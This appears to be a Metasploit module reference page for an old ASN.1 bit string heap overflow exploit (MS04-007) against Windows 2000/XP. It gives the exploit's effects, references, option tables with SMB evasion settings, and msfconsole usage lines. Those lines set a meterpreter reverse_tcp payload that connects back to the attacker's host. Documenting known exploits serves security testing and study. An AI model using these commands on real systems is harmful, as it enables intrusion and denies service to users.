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Microsoft ASN.1 Library Bitstring Heap Overflow
This is an exploit for a previously undisclosed vulnerability in the bit string decoding code in the Microsoft ASN.1 library. This vulnerability is not related to the bit string vulnerability described in eEye advisory AD20040210-2. Both vulnerabilities were fixed in the MS04-007 patch. You are only allowed one attempt with this vulnerability. If the payload fails to execute, the LSASS system service will crash and the target system will automatically reboot itself in 60 seconds. If the payload succeeeds, the system will no longer be able to process authentication requests, denying all attempts to login through SMB or at the console. A reboot is required to restore proper functioning of an exploited system. This exploit has been successfully tested with the win32/*/reverse_tcp payloads, however a few problems were encounted when using the equivalent bind payloads. Your mileage may vary.
Rank
- Low
Authors
- Solar Eclipse < solareclipse [at] phreedom.org >
References
- CVE-2003-0818
- OSVDB-3902
- BID-9633
- http://www.phreedom.org/solar/exploits/msasn1-bitstring/
- MSB-MS04-007
Exploit Targets
- 0 - Windows 2000 SP2-SP4 + Windows XP SP0-SP1 (default)
Development
Similar Modules
- exploit/windows/smb/ms03_049_netapi
- exploit/windows/smb/ms04_011_lsass
- exploit/windows/smb/ms04_031_netdde
- exploit/windows/smb/ms05_039_pnp
- exploit/windows/smb/ms06_025_rasmans_reg
- exploit/windows/smb/ms06_025_rras
- exploit/windows/smb/ms06_040_netapi
- exploit/windows/smb/ms06_066_nwapi
- exploit/windows/smb/ms06_066_nwwks
- exploit/windows/smb/ms06_070_wkssvc
Usage Information
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msf > use exploit/windows/smb/ms04_007_killbill
msf exploit(ms04_007_killbill) > show payloads
msf exploit(ms04_007_killbill) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms04_007_killbill) > set LHOST [MY IP ADDRESS]
msf exploit(ms04_007_killbill) > set RHOST [TARGET IP]
msf exploit(ms04_007_killbill) > exploit
Module Options
| PROTO | Which protocol to use: http or smb (default: smb) |
| RHOST | The target address |
| RPORT | Set the SMB service port (default: 445) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| NTLM::SendLM | Always send the LANMAN response (except when NTLMv2_session is specified) |
| NTLM::SendNTLM | Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses |
| NTLM::SendSPN | Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required |
| NTLM::UseLMKey | Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent |
| NTLM::UseNTLM2_session | Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session |
| NTLM::UseNTLMv2 | Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true |
| Proxies | Use a proxy chain |
| SMB::ChunkSize | The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing |
| SMB::Native_LM | The Native LM to send during authentication |
| SMB::Native_OS | The Native OS to send during authentication |
| SMB::VerifySignature | Enforces client-side verification of server response signatures |
| SMBDirect | The target port is a raw SMB service (not NetBIOS) |
| SMBDomain | The Windows domain to use for authentication |
| SMBName | The NetBIOS hostname (required for port 139 connections) |
| SMBPass | The password for the specified username |
| SMBUser | The username to authenticate as |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| SMB::obscure_trans_pipe_level | Obscure PIPE string in TransNamedPipe (level 0-3) |
| SMB::pad_data_level | Place extra padding between headers and data (level 0-3) |
| SMB::pad_file_level | Obscure path names used in open/create (level 0-3) |
| SMB::pipe_evasion | Enable segmented read/writes for SMB Pipes |
| SMB::pipe_read_max_size | Maximum buffer size for pipe reads |
| SMB::pipe_read_min_size | Minimum buffer size for pipe reads |
| SMB::pipe_write_max_size | Maximum buffer size for pipe writes |
| SMB::pipe_write_min_size | Minimum buffer size for pipe writes |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |